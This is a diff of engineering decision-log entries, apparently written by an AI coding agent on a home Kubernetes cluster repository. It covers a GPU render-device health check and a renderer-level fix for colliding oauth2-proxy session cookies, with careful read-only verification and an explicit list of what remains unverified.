+`0660`; `i915` bound; `xe` **not** loaded and bound to nothing; `[8086:3e98] (rev 02)`
+CoffeeLake-S GT2 UHD Graphics 630 at `00:02.0`; `vcs0` and `vecs0` live; no host `vainfo`.
+
+**One measured correction to my own phase-1 assumption:** `lspci` **is** present on all three
+prod nodes (`/usr/bin/lspci` — Debian ships `pciutils` by default). I had written that it was
+absent. It is still *treated* as optional, because `pciutils` is genuinely not declared in
+`node_baseline_packages` and depending on an undeclared package would be wrong — but the
+comments and README that asserted it was missing were factually wrong and are now corrected.
+Its presence is why the `pci` line above carries a readable device name rather than bare IDs.
+
+### The gate
+
+    DEV_KUBECONFIG=/dev/null ENGINE=<shim> ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    GATE rc=3
+
+**rc 3 — UNDETERMINED. NOT green.** Nothing failed, and nothing is certified either. Exactly
+three stages did not run, all three the known local ceiling from a worktree, and **no fourth
+skip**:
+
+    [skip] spec-immutability  spec repo not present at /work/../home-network-k3s (set SPEC_REPO)
+    [skip] gitea-settings     SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule
+    [skip] conformance        no cluster configured (CLUSTER_AVAILABLE!=true) — L2/L3 NOT RUN
+
+    [ ok ] decisions-log: pass      [ ok ] lint: pass       [ ok ] l0: pass
+    [ ok ] render-golden: pass      [ ok ] l1: pass         [ ok ] approval-policy: pass
+
+Both CLAUDE.md §3 worktree workarounds were needed and both worked: `DEV_KUBECONFIG=/dev/null`
+(the credential in the main checkout was **not** copied) and an `ENGINE` shim that bind-mounts
+the main checkout's `.git` read-only. No `tracked_files()` traceback appeared, which is how I
+know the shim took effect rather than the git stages silently degrading.
+
+`ansible-lint` was **not** run, because **`ci/` does not invoke it anywhere** — I grepped
+`ci/` and `.gitea/` and the lint stage is `yamllint -c ci/yamllint.yaml` only. I am not
+claiming to have matched a lint convention that does not exist.
+
+### The CI gate on the PR — a green tick that is exit 3, read from the log
+
+The required context `gate / gate (pull_request)` reported **`success`, "Successful in 1m40s"**
+on commit `a78f010`. That description matters: a *skipped* Gitea job reports `success` with
+"Has been skipped", so this one genuinely ran, and 1m40s matches CLAUDE.md §2's ~1m35s.
+
+**But the green tick does NOT mean `gate.sh` returned 0.** `.gitea/workflows/gate.yml:138` is
+`run: ./ci/gate.sh || [ "$?" -eq 3 ]` — the job tolerates rc 3 by design. So I fetched the job
+log (`/actions/runs/173/jobs/0/logs`; the `/api/v1/.../tasks/{id}/logs` endpoints 404 on this
+Gitea, the web route serves it) and read the gate's own headline:
+
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+    [fail]   Stages that did not run: spec-immutability
+
+**So CI is also rc 3, with exactly ONE stage skipped — `spec-immutability`.** The green Gitea
+check is the tolerance swallowing that 3, not a rc 0.
+
+**CI verified two things my local run could not, and both came back green:**
+
+    [ ok ] stage gitea-settings: pass
+    [ ok ]   enable_push = false          enable_status_check = true
+    [ ok ]   required_approvals = 1       block_admin_merge_override = true
+    [ ok ]   block_on_rejected_reviews = true   dismiss_stale_approvals = true
+    [ ok ]   runners online: 1 (>= 1)
+    [ ok ] Gitea settings match the declaration.
+    [ ok ] stage approval-policy: pass
+    [ ok ] no architecturally/security-relevant paths touched — the GATE is the approver.
+
+My local run **skipped** `gitea-settings` (no `SETTINGS_API_TOKEN`) and could not give
+`approval-policy` a PR number. CI has the secret and `REQUIRE_GITEA_SETTINGS: "true"`, so a skip
+there would have failed the job. That is measured confirmation that the live Gitea matches
+`infra/gitea/expected-branch-protection.json`, and that `infra/ansible/**` needs no human
+reviewer. `lint` passed over 405 files. `conformance` SKIPPED in CI too
+(`CLUSTER_AVAILABLE != true`), so L2/L3 remains unverified there as well.
+
+Corroborated independently: `GET /repos/.../branches/main` →
+`protected=true user_can_push=false enable_status_check=true required_approvals=1`,
+contexts `["gate / gate (pull_request)"]`; `GET /admin/actions/runners` → `incluster-dind
+status=online`. And note the commit's **combined** state is `pending`, not success, because
+`gate / conformance (pull_request)` sits at "Blocked by required conditions" — that context is
+not in the required list, so it does not block, but the PR is not "all green" either.
+
+The gate's `lint` stage passed with one `line too long` **warning** on
+`roles/node_health/tasks/assess.yml:189` — that is pre-existing, in the SMART block, well
+above my insertion point, and warnings do not fail the stage.
+
+### Offline work (before the lock was released)
+
+- `python3 -m py_compile` on the collector: clean.
+- `collect_graphics()` executed for real against this workstation's hardware (an unrelated
+  machine, Raptor Lake-S UHD Graphics + an NVIDIA discrete GPU) and returned the whole
+  structure with no exception, correctly reporting two cards, two render nodes, the bound
+  driver per card, the `vcs0/vcs1/vecs0` media engines, and `enable_guc` as *not readable
+  without root* rather than as a fabricated `0`.
+- That last point is a real finding and changed the design: `/sys/module/i915/parameters/*` is
+  **mode 0400**, so an unprivileged pass cannot read `enable_guc`. It now reports
+  `NOT READ — <reason>` and `/proc/cmdline` is read as the world-readable second source. An
+  earlier draft would have silently reported a null.
+- Two other bugs found and fixed by running it rather than reasoning about it:
+  `/dev/dri/by-path` is a **directory** and was being `lstat()`ed as a device; and
+  `/sys/class/drm` carries one entry per *connector* (`card0-HDMI-A-1`), which had to be
+  excluded from the card scan.
+- All three checks and the new template section were rendered through a standalone Jinja
+  harness (Ansible is not on the host — CLAUDE.md §5) against **seven** fact sets: the real
+  workstation; GPU present with the render node removed; no display device at all; `xe` bound
+  in place of `i915`; a display device with **no** driver bound; `renderD128` present but not a
+  character device; and a shape with neither `lspci` nor `vainfo`. Zero template errors, and
+  the statuses came out as designed — `FAIL/PASS/INFO`, `SKIP/SKIP/SKIP`, `PASS/WARN/INFO`,
+  `FAIL/FAIL/INFO`, `FAIL/PASS/INFO` respectively. The harness supplies stand-ins for the
+  Ansible-only filters (`bool`, `dict2items`, `flatten`, `zip`, `regex_replace`) and matches
+  Ansible's `trim_blocks=True`.
+  **Read that for exactly what it is: evidence that the LOGIC is right, and no evidence
+  whatsoever that the HARDWARE DETECTION is.** Six of those seven fact sets were hand-mutated
+  dictionaries, not machines. They are not hardware tests and must not be written up as if
+  they were.
+
+## What I did NOT verify
+
+- **The FAIL path has never fired on a real node.** Every prod node has a working render
+  device, and this role is read-only, so a device cannot be taken away to prove the check
+  catches its absence. The failure branches were exercised against **synthetic fact sets
+  only** (see above). I am not claiming the failure path is tested against hardware.
+- **`xe` detection is likewise untested against reality.** No node here has `xe` bound — the
+  module exists on disk as `xe.ko.xz` and is bound to nothing — so the WARN branch was only
+  ever driven by a mutated fact set. If `xe` ever does bind, the *shape* of
+  `/sys/class/drm/card*` under it is something I have assumed matches i915's (same
+  `device/driver` symlink, same `engine/*` directories). That assumption is unverified.
+- **The media-engine sysfs path is confirmed on these nodes but not proven portable.**
+  `vcs0`/`vecs0` were read from `/sys/class/drm/card0/engine/*` on all three prod nodes, so it
+  is measured here. I did **not** confirm against kernel source that no other kernel version or
+  driver publishes engines elsewhere. If one does, the check reports "none exposed" — an INFO
+  line, not a false verdict, which is why this failure mode is tolerable.
+- **`enable_guc` is still unread on prod.** The report says `NOT READ — mode 0400`, which is
+  honest but means I have **not** confirmed by measurement that GuC/HuC is off on these nodes;
+  I only know the kernel cmdline carries no `i915.enable_guc=` override. The brief's ground
+  truth says `i915.enable_guc=0`; my check does not corroborate that value, it declines to
+  guess it. Reading it would need root, and it is INFO either way, so I left it alone.
+- **Not a transcode test.** These checks prove the render *device* exists, is a character
+  device, and which driver owns it. They do **not** prove a transcode succeeds — that needs a
+  VAAPI round trip inside Plex's own container with Plex's own libva, and is out of scope for a
+  node-level check that installs nothing.
+- **Greenness was never established, locally or in CI.** Both runs returned **rc 3**. My local
+  run skipped three stages (`spec-immutability`, `gitea-settings`, `conformance`); CI skipped
+  one (`spec-immutability`) and its own headline says `MERGE GATE: UNDETERMINED`. **I am not
+  describing this PR as green**, and the green Gitea tick must not be read as one: the workflow
+  line is `./ci/gate.sh || [ "$?" -eq 3 ]`, so it is a tolerated 3.
+- **L2/L3 conformance did not run anywhere** — `CLUSTER_AVAILABLE != true` in both. Whatever
+  runtime requirements this touches remain UNVERIFIED; only the L0/L1 offline subset passed.
+- **`spec-immutability` ran in neither.** The sibling spec repo is checked out in neither my
+  worktree nor the CI workspace, so nothing confirms this change does not drift from the spec.
+  It is the expected, tolerated skip — but it is still a skip, not a pass.
+- **No claim about the live platform beyond what was printed.** Per CLAUDE.md §2b this repo is
+  not evidence about prod; the only prod facts I assert are the ones quoted verbatim above.
+  Branch protection and runner state I did query directly, and the CI `gitea-settings` stage
+  passed — so those two I assert on measurement, not on this file's prose.
+- **The stale dev inventory was left alone deliberately.** `hosts.ini` still defines the
+  `k3s-dev-*` groups as the default target of most playbooks and the dev cluster no longer
+  exists. That is real, it is out of this change's scope, and it is unclaimed work.

decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md

@@ -0,0 +1,378 @@
+---
+date: 2026-09-30
+branch: fix/oauth2-proxy-cookie-collision-fleet
+title: The cookie collision was never Crafty's — it was the renderer's, and it shipped to five apps
+---
+
+## What changed
+
+Follow-up #3 of `decisions/2026-09-29-crafty-oauth2-proxy-signin.md`: *"Any further per-app
+reverse-proxy sidecar needs a unique `--cookie-name` too. The collision is a property of the
+pattern, not of Crafty."*
+
+It is a property of the pattern, and this branch found where the pattern actually lives.
+
+**Read the scope claim carefully before the detail.** This branch fixes THREE defects in the
+forward-auth sidecar contract, all in one function, all landing on all five apps at once:
+
+| Defect | Fix | Measured evidence |
+|---|---|---|
+| Six independent instances, seven different cookie-secrets, **one** cookie name on **one** zone-wide domain — so they overwrite and `ClearSession`-delete each other's sessions | `--cookie-name=_oauth2_proxy_<app>` + host-scoped `--cookie-domain` | 7/7 distinct secrets; 6 instances on the default name; radarr logs the eviction fingerprint 8× in 12h |
+| The session dies **5 minutes** after sign-in — `--cookie-refresh` defaults to 0 = *disabled*, so the refresh token the proxy already holds is never spent | `--cookie-refresh=2m30s` (half the lifetime) | access-token lifetime = **300.000s exactly**, `refresh_token:true`, flag absent |
+| **No** per-app sidecar serves `/metrics` at all — without `--metrics-address` the listener never starts | `--metrics-address=0.0.0.0:44180` + a `metrics` container port | `ports` was `['http']` on all six |
+
+Rejection *volume* is dominated by the second defect, not the first: ~95% of radarr's rejections
+carry no cookie at all. **Do not merge this expecting one number to drop** — three mechanisms were
+tangled together, and separating them is most of the value here.
+
+**Boundary note.** My brief originally reserved `apps/wave-0/jackett.yaml` for a concurrent branch.
+That split is not achievable and has been revoked: the file is generated, the fix is one renderer
+edit, and `render-golden` requires all five goldens regenerated in the *same commit*. I own all
+five. The proof I ran before touching jackett is under "What I verified".
+
+**The defect was not in the four manifests it was reported in.** `apps/wave-0/pihole.yaml`,
+`apps/wave-0/qbittorrent.yaml`, `apps/wave-1/radarr.yaml`, `apps/wave-1/sonarr.yaml` — and
+`apps/wave-0/jackett.yaml` — are **generated goldens**. One function emits all five sidecars:
+`catalog/render.py::_oauth2_sidecar_container()`, which hardcoded `--cookie-domain=.{ZONE}` and
+emitted no `--cookie-name` at all. Hand-editing a golden is not a fix twice over: `ci/render-golden.sh`
+FAILS on the drift (provoked, not assumed — see below), and the next re-render silently reverts it.
+
+So the fix is in the generator, and both flags are now **derived** from the ServiceDefinition:
+
+    --cookie-name=_oauth2_proxy_{s['name']}     unique per service, by construction
+    --cookie-domain={host}                      the app's own route host, not the zone
+
+`--whitelist-domain` deliberately stays zone-wide — it governs permitted post-login *redirect*
+targets, not cookie scope. `catalog/render.py --selftest` gained four assertions, including one
+that renders a **second** synthetic forward-auth service and requires the two cookie names to
+differ, so a future refactor to a constant fails in the renderer's own test.
+
+Re-rendering with the canonical command regenerated **five** goldens, not four. Jackett is the
+fifth, and this is the one thing in this branch the PM brief did not anticipate — see
+"the jackett collision" below. The three `conformance/tests/l1-rendering/*/golden/` fixtures are
+expected-output copies of the same renderer, so they are regenerated too; that is not collateral
+damage, it is the L1 stage doing its job (it FAILED on the first gate run and named the drift).
+
+**The new gate check** is `conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/`,
+declaring `conformance.home.k3s/scope: whole-repo` so `ci/l0.sh`'s `--include-scope` union runs it
+on **every** gate invocation. No bespoke `ci/l0.sh` stage was added — `whole-repo-invariants-wired`
+fails the gate if anyone adds one, and the scope annotation is the supported mechanism.
+
+It inventories every oauth2-proxy instance the repo authors (containers at any depth, plus the
+shared proxy's HelmRelease values) and resolves each one's **effective** cookie name — its declared
+name, **or oauth2-proxy's built-in `_oauth2_proxy` when it declares none**. That single modelling
+decision is the whole check: an omitted flag is not an absence, it is a *claim on a name*, and
+treating it as an absence is precisely why five reviewers read these manifests and saw nothing.
+Then: (1) no two effective names collide; (2) no name is another's name + `_csrf`, because that is
+how oauth2-proxy derives the CSRF cookie and two such session names look distinct while their CSRF
+cookies collide; (3) the default name has exactly one owner, and it is the one registered in
+`SHARED_DEFAULT_COOKIE_OWNER`; (4) every non-registered instance is host-scoped; (5)
+`catalog/render.py` derives rather than lists; (6) the **shipped** renderer is proven end-to-end on
+two synthetic ServiceDefinitions run as a subprocess.
+
+**On the shared proxy — "distinct" or "explicitly declared"?** The brief asked me to decide, and
+the answer is *neither, quite*. The shared forward-auth proxy at `platform/oauth2-proxy/` **must
+keep** `_oauth2_proxy`: it is the single session every forward-auth-gated surface without its own
+sidecar rides on, so renaming it signs all of them out at once. Requiring *every* instance to
+declare a name would therefore need an exemption, and an exemption is a hole: delete the shared
+proxy and whichever app next omitted the flag would silently inherit the default with the rule
+still satisfied. So the assertion is plain **distinctness over effective names**, with the default
+treated as a name like any other — held by **exactly one owner, named in a shrink-only register
+with its reason**. The shared proxy needs no exemption from the rule; it is simply the registered
+holder of that one name. A stale register entry FAILS (the exemption would outlive its object) and
+an unregistered holder FAILS (no silent heirs). Both were provoked and are quoted below.
+
+**On host-scoped `--cookie-domain` — overreach, or not?** Asserted, and here is the argument both
+ways. *Against:* distinct names alone close the eviction bug completely — two differently-named
+cookies do not overwrite each other however wide their domains are — so this assertion fixes
+nothing (1) has not already fixed, and a check that fails a legitimate configuration is a check
+someone eventually disables. *For, and this wins:* a zone-wide cookie is **transmitted by the
+browser to every host in the zone**. qBittorrent's session token was being sent to pihole, radarr,
+sonarr and every other name under the zone, including hosts behind no proxy at all — a
+session-credential disclosure across trust boundaries that nothing needs. And it is what makes a
+*future* name collision catastrophic rather than contained: with host-scoped cookies, two
+instances that accidentally share a name cannot see each other's cookie at all. Defence in depth
+on the exact axis that already failed once. The escape hatch is the same register, by name and
+with a reason, rather than a loosened rule.
+
+### The jackett boundary, and why it could not hold
+
+`apps/wave-0/jackett.yaml` carries the identical defect and was initially assigned to a concurrent
+branch, with an instruction to me not to touch it. **That separation is not achievable** — the
+ownership split was drawn across a generated file — and I did not discover this by reasoning about
+it, I provoked it. With the renderer fixed and jackett's golden left at its `main` content,
+`./ci/render-golden.sh` exits **1**:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render:
+    -        - --cookie-domain=.${BASE_DOMAIN}
+    +        - --cookie-name=_oauth2_proxy_jackett
+    +        - --cookie-domain=jackett.${BASE_DOMAIN}
+    [fail] render==golden check FAILED
+
+Jackett's golden is an *output* of the file that contains the defect. There are exactly three
+options and two of them are worse: hand-edit four goldens and leave the generator broken (fails
+`render-golden`, and reverts on the next render); add a per-service carve-out to the renderer so
+jackett alone keeps defaulting (ships the exact "list, don't derive" anti-pattern this check
+exists to forbid, and leaves jackett broken *by design*); or fix the generator and regenerate all
+five. I took the third. Jackett's golden here is **machine output of a one-line generator change**,
+not an independent edit of Mira's file, and it is byte-identical to what her branch must produce.
+
+**Consequence:** the jackett branch has no cookie work left in it — this commit fixes jackett
+identically and by the same mechanism, and both branches independently arrived at the *same two
+values* (`_oauth2_proxy_jackett`, `jackett.${BASE_DOMAIN}`), which is a good sign for the
+diagnosis. Its hand-edit of the rendered file will fail `render-golden` on its own terms, so it
+should be closed rather than rebased. **What must not be lost with it** is its evidence: the
+interleaved radarr/jackett log showing `removing session` deleting a clean session 26s after login,
+and the `expires − created = 300.000s` measurement that produced `--cookie-refresh` here. Both are
+carried into this entry and into the renderer's comments; the branch itself is now redundant, the
+work behind it is not.
+
+**The general lesson, which is worth more than this bug:** an ownership split across
+`apps/wave-*/*.yaml` cannot hold, because those files are *outputs*. Two agents assigned two
+rendered apps are assigned the same function and will collide in `render-golden` no matter how
+carefully they stay in their own files. Ownership of a rendered app is ownership of
+`catalog/render.py`, and briefs should say so.
+
+### What this branch deliberately does NOT do
+
+- **`--api-route=^/api/` is NOT added**, and not because of scope discipline alone: it would be
+  **wrong** renderer-wide. It was measured on jackett, and **PiHole does not serve `/api/`** — so
+  a renderer constant applies one app's path shape to five. Doing it properly means declaring API
+  path prefixes per service, and the `auth` block is `additionalProperties: false`, so that is a
+  *schema change*. Separate PR. (Note the flag is **`--api-route`, singular** — verified in the
+  pinned binary's own `--help`. The plural `--api-routes` does not exist in v7.8.1 and the proxy
+  refuses to start with it. That error was propagating through briefs; it stops here.)
+- **`--session-cookie-minimal` is NOT added** and must not be, as a cookie-size fix: it is
+  **mutually exclusive** with `--cookie-refresh` (*"cookie_refresh > 0 requires oauth tokens in
+  sessions"*). Dropping `--pass-access-token` is a least-privilege argument, never a size one.
+- **Metrics are NOT scraped, only served.** The flag and container port are the prerequisite;
+  a container port is not a Service port. These Services expose the app port and `:4180`, and each
+  namespace's default-deny baseline is `ingress: []`, so Prometheus can neither resolve nor reach
+  `:44180` until a Service port (or PodMonitor), a monitoring-ingress allow and a ServiceMonitor
+  exist. That wiring is someone else's follow-up and I have deliberately not faked its start.
+  **Nobody should read this commit as "the sidecars have metrics now."**
+- **The new check was NOT widened to cover cookie-refresh or metrics.** Its subject is cookie
+  *identity*; those two share neither its inputs nor its failure mode. Bundling them would make
+  the check's name a lie and couple unrelated ratchets, so a future metrics decision could only
+  be expressed by weakening a *cookie* check. The cost of that discipline is named honestly in
+  the follow-ups: those two flags are currently **ungated**.
+
+## What I verified
+
+- **The premise, in-cluster, rather than inherited from the handoff** (CLAUDE.md §2b). Read-only,
+  `kubectl --context k3s-prod`, through the pinned toolbox.
+  - **Seven** `*-oauth2-proxy` Secrets carry a `cookie-secret`: crafty, jackett, pihole,
+    qbittorrent, radarr, sonarr, and the shared `oauth2-proxy-credentials`. **All seven values are
+    DISTINCT.** Compared without printing anything: each value was hashed **in-cluster-side script,
+    never echoed**, and only the first 8 hex characters of each `sha256` were emitted — enough to
+    say same-or-different, recovering nothing. Secret *key names* were listed; no `.data` or
+    `.stringData` was printed (CLAUDE.md §6). **So no instance can decrypt another's cookie — it can
+    only overwrite it. The premise holds.**
+  - **The default cookie names really were in use.** Of 8 live oauth2-proxy containers, **6 declare
+    no `--cookie-name` at all** — jackett, pihole, qbittorrent, radarr, sonarr, and both replicas of
+    the shared proxy — so all six emit `_oauth2_proxy` / `_oauth2_proxy_csrf`. All six also carry
+    `--cookie-domain=.home.keithjackson.dev`. **One cookie pair, six independent instances.**
+  - Crafty's live pod (`crafty-647c7d8cc5-5spv9`) already carries
+    `--cookie-name=_oauth2_proxy_crafty` and `--cookie-domain=crafty.home.keithjackson.dev`, so
+    PR #22 is merged and reconciled. It is the only compliant per-app instance on the cluster.
+- **THE COLLISION IS REAL. IT IS NOT ESTABLISHED AS THE CAUSE OF THE REPORTED FAILURES.** These
+  are two different claims and only the first is supported. I was handed counter-evidence —
+  crafty, the app already fixed, showed the *worst* rejection ratio of the set over a 24h Loki
+  window (`crafty 81:1`, `radarr 67:1`, `jackett 39:4`) — and it is right to refuse the causal
+  claim. What I could do was bound the window. Read from **each sidecar's own log** rather than
+  Loki, because `kubectl logs` on a pod that has not restarted cannot reach a pod older than
+  itself, so a window inside the pod's age is inside the fixed spec's lifetime *by construction*:
+
+      namespace      age(h) rst  reject success    ratio  cleared  badsig
+      crafty           13.9   0       3       0      n/a        0       0   <- FIXED spec, whole life
+      radarr          422.5   0     155       1  155.0:1        8       8
+      jackett         422.6   0      39       4    9.8:1        1       1
+      pihole          395.7   0       0       0      0:0        0       0
+      qbittorrent     404.1   0       0       0      0:0        0       0
+      sonarr          422.5   0       0       0      0:0        0       0
+      oauth2-proxy    422.6   0       0       0      0:0        0       0   (both replicas)
+
+  `reject` = `No valid authentication in request`; `success` = `AuthSuccess`;
+  `cleared` = `removing session` (oauth2-proxy's `ClearSession`); `badsig` = `cookie signature
+  not valid`. Window `--since=24h`, which exceeds every pod's age only for crafty — whose pod is
+  13.9h old with **0 restarts**, so these are its complete post-fix figures.
+
+  Then I read crafty's four auth-relevant lines rather than counting them, because at n=3 the
+  content is the evidence:
+
+      03:57:20  Cookie settings: name:_oauth2_proxy_crafty secure(https):true httponly:true
+                expiry:168h0m0s domains:crafty.home.keithjackson.dev path:/
+      04:02:55  No valid authentication in request. Initiating login.
+      15:22:39  No valid authentication in request. Initiating login.
+      15:22:44  No valid authentication in request. Initiating login.
+
+  6743 log lines; those are all four. **Zero** `removing session`, **zero** `cookie signature
+  not valid`, zero anything else.
+
+  Four conclusions, kept separate:
+  1. **`crafty 81:1` is a window artefact. It is not evidence against the fix and must not be
+     cited as such.** The fixed pod emitted **3** rejections in 13h 52m; the 81 came from a 24h
+     window straddling it, i.e. from the pre-fix process.
+  2. **The eviction FINGERPRINT is gone where the fix is deployed.** `cookie signature not
+     valid` + `removing session` is what a clobbered instance logs — a cookie *is* present,
+     written with a key this instance does not hold, so it cannot decrypt it and then
+     `ClearSession` expires it on its own `--cookie-domain`. Fixed crafty: **0 and 0** across
+     its whole life. Unfixed radarr: **8 and 8** in 12h. Unfixed jackett: 1 and 1. That is a
+     real, directional signal and it is the strongest evidence available that the fix works.
+  3. **It is still not a demonstrated successful sign-in.** Crafty logged **0 `AuthSuccess`** —
+     so what is shown is *absence of the failure mode*, not a session observed working
+     end-to-end. Those three rejections are consistent with benign first-hits (one client, two
+     of them 5s apart, i.e. a page plus a `/ws` reconnect). I am comfortable saying the fix
+     works; I am not willing to say it has been watched working, and the distinction is the
+     whole reason this section exists.
+  4. **The collision is a MINORITY of the rejection volume.** radarr: 8 of 155 (5%) carry the
+     fingerprint; ~95% carry **no cookie at all**. Those are the 5-minute session expiry and
+     `302`-on-XHR — the first of which this branch now also fixes, the second of which it
+     deliberately does not.
+
+  Two cautions about the instrument. `reject` ranks **chattiness, not breakage**: radarr's are
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/negotiate` polls, so a busy *arr
+  inflates the count with nobody inconvenienced. And that same polling is the *amplifier* that
+  made this intermittent — every poll carrying an undecryptable cookie calls `ClearSession`
+  again on the zone-wide domain, so **a left-open Radarr tab deleted Jackett's cookie every few
+  seconds, from another namespace, with no user action at all.** That is why signing in again
+  never helped for longer than the gap between two polls. It is now a comment in the renderer,
+  because it is the part of this bug that no one would reconstruct from the flags alone.
+- **The four target files are generated, not authored.** Rendering `catalog/` with the canonical
+  command into a temp dir and diffing against `apps/` reported all 10 onboarded goldens
+  byte-identical before any change. Hand-editing one is drift by definition.
+- **`render-golden` FAILS if jackett is excluded** — provoked (output quoted above), rc **1**.
+  Restoring the regenerated golden returns it to `all 10 onboarded service golden(s) reproduce`,
+  rc **0**.
+- **Every flag verified against the PINNED v7.8.1 binary**, not against docs, memory, or the
+  shared proxy (which runs **v7.15.3** and therefore could not vouch for v7.8.1):
+  `podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help`.
+  - `--cookie-name string ... (default "_oauth2_proxy")` — **this confirms the constant my whole
+    check is built on, from the binary itself.** The check's central claim, that an omitted flag
+    is a *claim on a name* rather than an absence, now rests on the implementation's own help
+    text rather than on my reading of its source.
+  - `--cookie-refresh duration  refresh the cookie after this duration; 0 to disable` — confirms
+    the default really is disabled.
+  - `--metrics-address string` — present in v7.8.1, so the new flag cannot crashloop the pods.
+  - `--api-route strings` — **singular**, confirming the brief's plural was wrong.
+  - `--session-cookie-minimal` — exists, and is the flag that conflicts with `--cookie-refresh`.
+- **44180 is the platform's existing convention, measured, not chosen.** The shared proxy already
+  runs `--metrics-address=0.0.0.0:44180` with a `metrics` container port, a `metrics:44180`
+  Service port, a ServiceMonitor whose endpoint is `metrics`, and **2 ready endpoint addresses** —
+  i.e. it demonstrably works on this platform.
+- **`catalog/render.py --selftest`: PASS**, now including the two-service distinctness assertion,
+  a `--cookie-refresh` assertion that PARSES the duration and requires `0 < refresh < 300s` (so
+  `2m30s` -> `150s` -> `2.5m` all stay green but a silent widening past the token lifetime does
+  not), a `--session-cookie-minimal` mutual-exclusion guard, and both metrics assertions.
+- **The check is selected by the whole-repo union.** `conformance/run.sh --layer l0 --requirements
+  r-nosuchreq-99 --include-scope whole-repo --print-selection` lists
+  `tests/l0-static/oauth2-proxy-cookie-names-distinct` among 20 tests — i.e. it runs even when the
+  touched-requirement filter matches nothing, which is the blind spot it was scoped for.
+- **The check was tested in BOTH directions**, against throwaway trees outside the repo, never by
+  mutating the branch:
+  - **Compliant tree (this branch): rc 0, 39 assertions, 7 instances audited.**
+  - **Pre-fix tree** (`git archive HEAD` + this test dropped in): **rc 1, 26 failures**, naming all
+    five violators, the 6-way `_oauth2_proxy` collision, the zone-wide domains, the renderer
+    emitting no `--cookie-name`, and both synthetic fixtures rendering `None`.
+  - **Targeted mutations on a compliant copy**, one assertion class each, all fired and nothing
+    else did: duplicate name (sonarr←radarr) → 1 failure; CSRF derivation
+    (`_oauth2_proxy_sonarr_csrf` as a session name) → fired; zone-wide `--cookie-domain` on pihole
+    → 2 failures; crafty's `--cookie-name` deleted → unregistered-default-heir + 2-way collision;
+    shared proxy renamed → **stale register entry** failure.
+  - A **false positive was found and fixed** by this testing: `platform/oauth2-proxy/forward-auth-cec.yaml`
+    contains `serviceName: oauth2-proxy/oauth2-proxy:80` — an Envoy `namespace/service:port`
+    reference, not an image — which the first inventory scan counted as an unaudited instance. The
+    scan is now anchored on `image:`, and the near-miss is documented in the check.
+- **Gate:** toolbox `./ci/gate.sh` — exit code and stage list in the next section, because it is
+  not a pass and that belongs there.
+
+## What I did NOT verify
+
+- **Local gate: rc 3 (UNDETERMINED), not 0.** Green: `spec-immutability`, `decisions-log`, `lint`,
+  `l0`, `render-golden`, `l1`, `approval-policy`. **Skipped:** `gitea-settings` (no
+  `SETTINGS_API_TOKEN` locally) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset). Nothing
+  FAILED; nothing runtime was certified either. **rc 3 is UNDETERMINED, never green.** Touched
+  subset `R-GITOPS-02 R-IDP-02 R-IDP-06 R-NET-01 R-NET-05 R-NET-06 R-NET-07 R-PLAT-02 R-TEST-01
+  R-TEST-02 R-TEST-03 R-TEST-04` — **UNVERIFIED** at L2/L3, all twelve.
+- **`spec-immutability` was skipping because of a BUG IN MY TOOLING, not the environment.** The
+  worktree ENGINE shim in circulation mounts only the main checkout's `.git`, and `dev.sh`
+  computes the spec path from its own `REPO_ROOT` — which in a worktree is
+  `.claude/worktrees/agent-*/`, so `../home-network-k3s` does not resolve and it adds no spec
+  mount at all. The gate then reported the skip, and the skip read as "the one tolerated
+  environmental skip" while actually being a path bug being waved through. Adding
+  `-v /var/home/keith/source/home-network-k3s:/home-network-k3s:ro -e SPEC_REPO=/home-network-k3s`
+  makes **R-TEST-06 actually run and pass**. Worth putting in every worktree agent brief; the
+  two-mount shim in CLAUDE.md §3 should say so.
+- **CI: `gate / gate (pull_request)` reports FAILURE on `75a4029`, for exactly ONE reason, and it
+  is not this change.** Read from the job log rather than the tick:
+
+      [fail] approval-policy: a sensitive change lacks a non-author approval -> blocks merge
+      [fail] MERGE GATE: BLOCKED
+
+  Every substantive stage is **green in CI** — `gitea-settings: pass` (CI has the token my local
+  run does not), `decisions-log`, `lint`, `l0`, `render-golden`, `l1`. Skipped: `spec-immutability`
+  (the workflow does not check the spec repo out — the documented tolerated skip) and
+  `conformance` (declared). So CI is a **stricter, more complete** run than my local one on every
+  axis except the spec repo, and it agrees.
+  `infra/gitea/approval-policy.json` lists `conformance/**` as sensitive — *"the tests and the
+  harness; changing them changes what green MEANS"* — so this PR is **fail-closed pending a
+  non-author approving review**, which is CLAUDE.md §1 working, not a defect to route around.
+  **The red tick is the policy, and it clears when a human reviews it.** Note also that
+  `gate / conformance (pull_request)` reports `success` with description **"Has been skipped"** —
+  the precise trap CLAUDE.md §2b names; it certifies nothing.
+- **A SUCCESSFUL SIGN-IN, ANYWHERE.** The strongest post-fix evidence is the *absence* of the
+  eviction fingerprint on crafty (0 `removing session`, 0 `cookie signature not valid`, across
+  13h 52m) against radarr's 8-and-8. That is directional and I believe it. But crafty logged
+  **0 `AuthSuccess`** in the same window, so no session has been observed working end to end on a
+  fixed instance. Whoever closes this out should re-measure crafty **after real sign-in traffic**.
+- **No browser round-trip by me at all**, for any of the three defects. Reproducing the collision
+  needs two gated apps visited in one session. The concurrent jackett branch does carry an observed
+  log-level reproduction (interleaved radarr/jackett `removing session` deleting a clean session
+  26s after login) — real evidence for the MECHANISM, and it is theirs, not mine.
+- **`--cookie-refresh=2m30s` has never been exercised.** The value is derived from a measured
+  300.000s access-token lifetime and is asserted to sit inside `(0, 300s)`, but no session has been
+  held past the five-minute cliff to watch a refresh succeed. If Keycloak's refresh-token or SSO
+  idle timeouts are shorter than expected, the symptom moves rather than disappears. **This is the
+  fix most likely to need a second pass**, and the first thing to watch after merge.
+- **The `metrics` port has never been fetched.** The listener is asserted to start by flag
+  presence only; nobody has curled `:44180` on a rendered pod. And it is unreachable by design
+  until the Service/policy/ServiceMonitor wiring lands — see above.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. Cluster access was
+  read-only throughout; the one container I ran was the oauth2-proxy image locally under podman to
+  read its `--help`. The running pods are still the pre-fix spec. **Merging is what deploys**, and
